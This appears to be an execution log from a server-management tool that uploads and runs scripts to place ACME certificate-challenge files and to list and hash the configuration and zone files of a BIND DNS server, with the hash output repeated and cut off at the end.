----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 uw0e9eHvBsYRLnAEwmd-4s-XB_Hn9pCB2Mh0OwqydY0
cat > x09ppv070NPAOhFDDTWJhFy-KS41-ypPULKVtgmHSQ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
x09ppv070NPAOhFDDTWJhFy-KS41-ypPULKVtgmHSQ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 x09ppv070NPAOhFDDTWJhFy-KS41-ypPULKVtgmHSQ8


2026-03-14 11:54:25: 

chmod 755 /tmp/pkp547878; /tmp/pkp547878; rm /tmp/pkp547878

2026-03-14 11:54:25: 




2026-03-14 11:55:01: Establishing a connection
2026-03-14 11:55:01: Establishing a connection
2026-03-14 11:55:01: 

PUT: /tmp/pkp568620

#!/bin/bash
if [ -d "/var/www/vela_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-14 11:55:01: 

chmod 755 /tmp/pkp568620; /tmp/pkp568620; rm /tmp/pkp568620

2026-03-14 11:55:01: 


1


2026-03-14 11:55:03: Establishing a connection
2026-03-14 11:55:03: 

PUT: /tmp/pkp598216

#!/bin/bash
mkdir -p "/var/www/vela_www/.well-known/acme-challenge/"
cd "/var/www/vela_www/.well-known/acme-challenge/"
cat > 0YlRXs-qTU5hrB5z6sOZSmXb1df8S-HqZldez46lLAE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0YlRXs-qTU5hrB5z6sOZSmXb1df8S-HqZldez46lLAE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0YlRXs-qTU5hrB5z6sOZSmXb1df8S-HqZldez46lLAE
cat > K1xF9r1_tgC23odXcvuiEnCtQXhd58QrCtjFTWSlZqU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
K1xF9r1_tgC23odXcvuiEnCtQXhd58QrCtjFTWSlZqU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 K1xF9r1_tgC23odXcvuiEnCtQXhd58QrCtjFTWSlZqU


2026-03-14 11:55:03: 

chmod 755 /tmp/pkp598216; /tmp/pkp598216; rm /tmp/pkp598216

2026-03-14 11:55:03: 




2026-03-14 11:55:27: Establishing a connection
2026-03-14 11:55:36: Establishing a connection
2026-03-14 11:55:37: 

PUT: /tmp/pkp958318

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:55:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp958318; rm /tmp/pkp958318'

2026-03-14 11:55:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= 2447ee93bae25e108bcd66a6e5e99caf
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:55:39: Establishing a connection
2026-03-14 11:55:39: 

PUT: /tmp/pkp905730

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:55:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp905730; rm /tmp/pkp905730'

2026-03-14 11:55:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
